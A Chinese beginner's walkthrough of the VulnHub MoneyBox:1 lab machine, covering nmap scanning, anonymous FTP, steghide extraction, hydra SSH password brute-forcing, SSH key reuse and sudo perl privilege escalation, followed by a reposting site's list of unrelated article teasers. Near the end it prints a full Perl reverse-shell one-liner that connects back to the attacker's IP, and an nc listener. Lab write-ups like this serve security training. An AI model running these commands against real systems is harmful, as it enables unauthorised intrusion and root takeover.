【新手向】VulnHub靶场MONEYBOX:1 | 详细解析

MONEYBOX:1

安装靶机

作为一名新手,首先要配置好环境,才能进行下一步的操作。
在这里插入图片描述

将下载的ova文件导入VirtualBox。
VirtualBox下载地址:https://www.oracle.com/cn/virtualization/technologies/vm/downloads/virtualbox-downloads.html

在这里插入图片描述

选择你下载的ova文件,点击“下一步”。

在这里插入图片描述

选择存放文件的位置,点击完成。(在我的电脑上只有放在默认位置才有效)

在这里插入图片描述
启动虚拟机。

在这里插入图片描述

可能会出现如下错误信息。

在这里插入图片描述

解决方法:
在网络设置中,选择自己电脑的网卡,重新启动就可以了。

在这里插入图片描述

这里我使用桥接方式,VMware中的Kali虚拟机也使用桥接方式,使两台虚拟机处在同一网段就可以了。

在这里插入图片描述


IP探测

首先获取一下kali的网卡信息。

ifconfig

在这里插入图片描述

目前没有任何有效信息,通过Kali中的nmap工具扫描该网段下的所有主机,扫描到了很多IP。

nmap 192.168.3.0/24 参数含义:
nmap:网络探索和安全扫描工具。
192.168.3.0/24:目标 IP 地址范围。这里的 /24 表示子网掩码为 255.255.255.0,这意味着 Nmap 将扫描从 192.168.3.1 到 192.168.3.254 的所有 IP 地址。

在这里插入图片描述

也可以通过arp扫描,获得目标靶机IP。

arp-scan -I eth0 -l

在这里插入图片描述

经过访问和验证后,确认目标靶场为192.168.3.27。探测到三个开放的端口,对端口做进一步的探测。

在这里插入图片描述

使用nmap对192.168.3.27做更详细的探测,发现(自上而下):
1、21端口ftp服务允许匿名登录,还有一张trytofind.jpg图片;
2、22端口ssh服务有一些key;
3、80端口http服务存在一个网页Title:MoneyBox。

nmap -A 192.168.3.27
参数含义:
-A:Aggressive(激进)扫描模式。这是一个组合选项,包含了以下功能:
-sS(TCP SYN 扫描)
-sU(UDP 扫描)
-sT(TCP connect() 扫描)
-sV(服务版本探测)
-sC(默认脚本扫描)
OS detection(操作系统检测)或者nmap -p21 -sC 172.16.95.137
nmap -p22 -sC 172.16.95.137
nmap -p80 -sC 172.16.95.137参数含义:
-p: 指定要扫描的端口号或端口范围。
-sC: 执行默认的 NSE 脚本集合。

在这里插入图片描述


FTP服务探测

既然可以匿名登录,尝试直接登录ftp服务,账户名和密码均为anonymous。

FTP的匿名登录一般有三种:
1、 用户名:anonymous 密码:Email或者为空
2、 用户名:FTP 密码:FTP或者为空
3、 用户名:USER 密码:pass

在这里插入图片描述

登录成功之后,使用ls命令看一下有什么东西,找到一张图片,使用get命令下载下来。

ftp 192.168.3.27
ls
get trytofind.jpg
exit

下载到的图片:

在这里插入图片描述

图片的出现让我想起了CTF中的隐写术,使用steghide工具查看图片的详细信息,提示需要密码。随便试几个密码,失败了,看来要从其他地方找密码。

steghide info trytofind.jpg

Steghide 是一个用于隐藏数据(如文本、图像、音频等)在其他文件(如图片、音频文件)中的工具。

在这里插入图片描述

HTTP服务探测

直接通过浏览器访问IP,查看网站页面。提示:“这是一个非常简单的盒子,所以不要想太多”。

在这里插入图片描述

查看网页源代码(直接按F12),没有什么有用的信息。进行敏感目录收集,使用dirsearch目录爆破工具探测目录。

安装命令
apt install dirsearchdirsearch -u http://192.168.3.27/
作用:对指定的 URL(http://192.168.3.27/)进行目录和文件枚举。以下是一些可能的命令参数:
-u:指定要扫描的 URL。
-e(可选):指定要搜索的文件扩展名列表,默认值为 .php,.asp,.aspx,.jsp,.jspx,.pl,.py,.html,.htm,.shtml,.sh,.cgi,.xml 等。
-f(可选):从文件中读取要搜索的单词列表。
-t(可选):指定线程数,默认为 10。
-w(可选):指定单词列表文件。

在这里插入图片描述

发现一个新页面blogs,在浏览器中看一下。
提示:我是 TOm-H4ck3r
我已经黑了这个盒子并通知了他们。但他们没有做任何安全配置
如果您需要下一步的提示…?

在这里插入图片描述

查看网页源代码,发现下一步的提示。
提示:<!–提示是另一个秘密目录是 S3cr3t-T3xt–>。

在这里插入图片描述

根据提示切换路径为http://192.168.3.27/S3cr3t-T3xt/。
新的提示:本页无内容…

在这里插入图片描述

查看网页源代码,发现一个Key。(猜测为图片隐藏内容的密码)

在这里插入图片描述

使用得到的密码,成功读取到一个data.txt文件。

在这里插入图片描述

使用steghide提取data.txt文件,查看得到新提示。

steghide extract -sf trytofind.jpg -p 3xtr4ctd4t4 命令参数解释如下:
extract: 指定要执行的操作为提取隐藏数据。
-sf: 指定源文件为 trytofind.jpg,这是一个包含隐藏数据的图像文件。
-p: 指定用于解密隐藏数据的密码。在这个例子中,密码为 3xtr4ctd4t4。

提示:你好… renu(用户名)
我告诉你一件重要的事情:你的密码太短了,所以请更改密码
不要小看它…

在这里插入图片描述


SSH服务探测

结合得到的用户名、弱口令提示和剩下的ssh服务,尝试使用hydra工具对ssh服务进行弱口令爆破。

hydra -l renu -P rockyou.txt 192.168.3.27 ssh参数解释:
-l:指定用户名,本例中为 "renu"-P:指定包含密码的字典文件,本例中为 "rockyou.txt"。这是一个广泛使用的密码字典,包含了大量常见的密码。
192.168.3.27:目标 IP 地址。
ssh:指定要攻击的服务,本例中为 SSH(Secure Shell)服务。

在这里插入图片描述

得到renu账户的ssh密码为987654321,直接尝试ssh远程登陆。登录成功。

ssh renu@192.168.3.27

在这里插入图片描述

renu用户登录

ls命令看一下有什么文件,pwd命令看一下当前路径,尝试用sudo提权失败,在user1.txt文件中得到第一个flag。

ls
pwd
uname -a (显示系统详细信息)
uname -r (用于在 Unix 或类 Unix 系统中显示当前运行的内核版本。)
sudo su 
cat user1.txt

在这里插入图片描述

接下来进行提权操作,分析一下历史命令,寻找辅助提权的信息。从历史命令中可以看出,renu用户对192.168.43.80的主机进行SSH公钥登陆的配置,登陆账户是lily;192.168.43.80上的lily用户有sudo的权限;而renu用户可以切换为到本机的lily用户。

history #history命令用于显示或保存用户的命令历史记录ssh-keygen -t rsa
# 生成RSA类型的SSH密钥。
ssh-copy-id lily@192.168.43.80
# 将公钥复制到远程服务器上,以便进行无密码SSH登录。
chmod 400 id_rsa
# 更改id_rsa文件的权限为400,也就是只有文件所有者可以读取该文件。
ssh -i id_rsa lily@192.168.43.80
# 使用指定的密钥文件(id_rsa)通过SSH连接到远程服务器。

在这里插入图片描述

看到下图所示,renu用户进入home家目录,之后又进入lily用户目录,说明本机存在一个lily用户。

在这里插入图片描述

猜测ssh登录的账户lily为本机的lily用户,那么SSH公钥配置操作就是在本机上进行的,根据SSH公钥工作机制,如果renu用户进行了ssh-keygen -t rsa操作,会在renu的~/.ssh/中生成id_rsa和id_rsa.pub文件,如下。

在这里插入图片描述

同时,如果renu用户进行了ssh-copy-id lily@192.168.43.80操作,将会把刚才生成的id_rsa.pub拷贝到192.168.43.80主机上的lily账户~/.ssh/authorized_keys文件中。如果192.168.43.80上的lily用户就是本机的lily用户,那么lily用户下~/.ssh/authorized_keys文件中的公钥应该与renu生成的id_rsa.pub公钥一致。验证一下。

在这里插入图片描述

完全一致,那么renu用户可以通过SSH公钥验证的方式登陆到本机的lily的账户上,并且lily用户具有sudo的权限。

尝试直接su到lily用户,但是需要密码,只能通过SSH公钥验证登录到lily用户。

在这里插入图片描述


lily用户登录

ssh -i id_rsa lily@192.168.3.27-i 选项,用于指定私钥文件 id_rsa。

在这里插入图片描述

成功登录,ls命令看一下有什么文件,在user1.txt文件中得到第二个flag。

在这里插入图片描述

尝试su提升权限,但还是需要密码。再次查看history历史命令,发现lily用户编辑了sudoers,并且查找了一些具有suid权限的文件,执行了sudo -l 。

在这里插入图片描述
在这里插入图片描述

使用sudo -l命令看一下当前用户可用的sudo权限,发现可以使用sudo权限的perl命令(不需要输入密码)。

sudo -l 
# 查看当前用户可用的sudo权限

在这里插入图片描述

既然可以使用perl命令,那么采用反弹shell的方法提升权限。


反弹Shell提权

首先,在kali上开启nc进行监听。

nc -lnvp 6666
# 使用 nc(Netcat)命令在本地主机上监听TCP端口6666的命令。命令参数解释如下:
-l: 使Netcat进入监听模式,等待连接请求。
-n: 指定不进行DNS解析,使用IP地址而非主机名。
-v: 启用详细模式,显示更多的操作信息。
-p: 指定要监听的端口号,这里为6666。

在这里插入图片描述

然后,生成一段用于反弹shell的perl指令进行sudo执行。(!!!$ i=攻击机的IP,$p=攻击机监听的端口!!!)

sudo perl -e 'use Socket;$i="192.168.3.25";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
当执行此命令时,以下过程会发生:
1、使用 sudo 提升权限执行 Perl 命令。
2、在 Perl 中,定义了以下几个变量:$i="192.168.3.25":目标 IP 地址。$p=6666:目标端口号。
3、使用 Socket 模块创建一个 TCP 套接字(Socket),并连接到指定的 IP 地址和端口号。
4、如果连接成功,将标准输入(STDIN)、标准输出(STDOUT)和标准错误(STDERR)重定向到套接字,这样就可以通过该套接字发送和接收数据。
5、执行 /bin/sh -i,启动一个交互式的 Bash shell。这个 shell 的输入和输出都会通过先前建立的套接字进行传输。

在这里插入图片描述

最后成功拿到root权限,并在user3.txt文件中拿到第三个flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/589374.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

手把手教你如何配置 AWS WAF 入门

文章目录 1 前言2 新手第一步3 实践3.1 了解托管规则3.2 编写自己的DIY规则3.3 配置实战A&#xff0c;控制泛洪攻击&#xff08;攻击请求速率&#xff09;3.4 配置实战B&#xff1a;当检查到特定路径请求的时候拒绝对方的试探 4 更进一步4.1 什么是合理的规则设计&#xff1f;如…

Leetcode每日一题:1599.经营摩天轮的最大利润

前言&#xff1a;本题是一道逻辑细节题&#xff0c;考察阅读理解并转化为代码的能力&#xff0c;很多细节 题目描述&#xff1a; 你正在经营一座摩天轮&#xff0c;该摩天轮共有 4 个座舱 &#xff0c;每个座舱 最多可以容纳 4 位游客 。你可以 逆时针 轮转座舱&#xff0c;但…

基于图神经网络的动态物化视图管理

本期 Paper Reading 主要介绍了发布于 2023 年 ICDE 的论文《Dynamic Materialized View Management using Graph Neural Network》&#xff0c;该文研究了动态物化视图管理问题&#xff0c;提出了一个基于 GNN 的模型。在真实的数据集上的实验结果表明&#xff0c;取得了更高的…

redis 从0到1完整学习 (十二):RedisObject 之 List 类型

文章目录 1. 引言2. redis 源码下载3. redisObject 管理 List 类型的数据结构3.1 redisObject 管理 List 类型3.2 List PUSH 源码 4. 参考 1. 引言 前情提要&#xff1a; 《redis 从0到1完整学习 &#xff08;一&#xff09;&#xff1a;安装&初识 redis》 《redis 从0到1…

鸿蒙OS应用开发之气泡提示

前面学习了弹窗提示,其实有时候只是想在旁边做一些说明,那么采用弹窗的方式就比较麻烦一些,这时可以采用系统里面的气泡提示方式。 系统也提供了几种方式弹出气泡提示,最简单的一种是采用bindPopup属性。它的定义如下: 在后面的参数设置里,也是比较复杂的形式。我们先来演…

内存泄漏检测工具

1. vs/vc(windows下)自带的检测工具 将下面的语句加到需要调试的代码中 #define _CRTDBG_MAP_ALLOC // 像一个开关,去开启一些功能,这个必须放在最上面 #include <stdlib.h> #include <crtdbg.h>// 接管new操作符 原理: 就是使用新定义的DBG_NEW去替换代码中的n…

Jetpack Compose中使用Android View

使用AndroidView创建日历 Composable fun AndroidViewPage() {AndroidView(factory {CalendarView(it)},modifier Modifier.fillMaxWidth(),update {it.setOnDateChangeListener { view, year, month, day ->Toast.makeText(view.context, "${year}年${month 1}月$…

x-cmd pkg | openssl - 密码学开源工具集

目录 简介首次用户技术特点竞品分析进一步阅读 简介 OpenSSL 是一个开源的密码库和 SSL/TLS 协议实现&#xff0c;它提供了一组密码学工具和加密功能&#xff0c;用于保护数据通信的安全性。项目发展历史可以追溯到 1998 年&#xff0c;源自 Eric A. Young 和 Tim J. Hudson 开…

Docker的一个简单例子(一)

文章目录 环境示例准备构建启动/停止容器更新应用分享应用 参考 环境 RHEL 9.3Docker Community 24.0.7 示例 准备 从github克隆 getting-started-app 项目&#xff1a; git clone https://github.com/docker/getting-started-app.git查看项目&#xff1a; ➜ getting-s…

I.MX8QM flexcan移植

Android SDK&#xff1a;imx8_13.0.0_1.2.0(android 13 u-boot 2022.04 kernel 5.15.74) 一、kernel 内核配置&#xff1a; # 相应的defconfig中添加使能下面两个宏。 # 官方默认的配置可能是以模块的方式编译&#xff0c;这里直接将can驱动编译到内核中 CONFIG_CANy CONFIG…

C++面试宝典第12题:数组元素相除

题目 从控制台输入若干个整数作为数组,将数组中每一个元素除以第一个元素的结果,作为新的数组元素值。比如:可以先输入3,作为数组元素的个数;然后输入3个整数,作为数组元素的值。 解析 这道题本身并不复杂,但里面隐藏了不少“坑点”和“雷区”,主要考察应聘者全面思考问…

vue项目中实现预览pdf

vue项目中实现预览pdf 1. iframe <iframe :src"pdfSrc"></iframe> ​data() {return {pdfSrc: http://192.168.0.254:19000/trend/2023/12/27/5635529375174c7798b5fabc22cbec45.pdf,}},​iframe {width: 100%;height: calc(100vh - 132px - 2 * 20px -…

数据结构:堆的三部曲 (一)堆的实现

堆的实现 1.堆的结构1.1堆的定义理解 2.堆的实现&#xff08;以小根堆为例&#xff09;2.1 堆结构体的定义2.2 堆的插入交换函数向上调整算法插入函数的代码 2.3 堆的删除向下调整算法&#xff1a;删除函数的代码&#xff1a; 2.4其他操作 3.测试以及完整源代码实现3.1测试代码…

typore自定义删除线快捷键

打开高级设置 设置快捷键 重新打开typore

Java实现短信发送业务

1、业务需求 发送短信功能是一个很普遍的需求&#xff0c;比如验证码&#xff0c;快递单号&#xff0c;通知信息一类。 而在Java中实现短信功能相对简单&#xff0c;只需要调用短信服务商提供的API。接下来以阿里云为例&#xff0c;介绍如何实现短信发送功能&#xff0c;其他短…

x-cmd pkg | bat - cat 命令的现代化替代品

目录 简介首次用户功能特点进一步阅读 简介 bat 是 cat 命令的替代品&#xff0c;对 cat 命令进行功能扩展&#xff0c;如语法高亮、自动分页等&#xff0c;为用户提供更友好的显示和定制选项。对于需要在终端频繁查看文本内容的用户&#xff0c;推荐用 bat。 首次用户 使用 …

计算机基础面试题 |01.精选计算机基础面试题

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

企业级依赖管理: 深入解读 Maven BOM

一、背景 当开发者在一个大型项目中使用 Maven 进行依赖管理时&#xff0c;项目往往会包含多个模块或子项目&#xff0c;并且这些模块会共享相同的依赖项。但是&#xff0c;不同模块可能会独立地指定各自的依赖版本&#xff0c;这可能导致以下问题&#xff1a; 依赖版本不一致…

在多Module项目中,给IDEA底部选项卡区域添加Services选项卡

一般一个spring cloud项目中大大小小存在几个十几个module编写具体的微服务项目。此时&#xff0c;如果要调试测需要依次启动各个项目比较麻烦。 idea其实提供了各module的启动管理工具了&#xff0c;可以快速启动和关闭各个服务&#xff0c;也能批量操作&#xff0c;比如一次…

25. 数组作为函数参数

写代码时&#xff0c;我们会将数组作为参数传给函数 冒泡排序&#xff1a; 两两相邻的元素进行比较&#xff0c;可能的话进行交换 一趟冒泡排序会将一个元素放在其最后应该在的位置 10个数字只需9趟&#xff0c;第一趟10个数字待排序&#xff0c;9对比较&#xff1b;第二趟…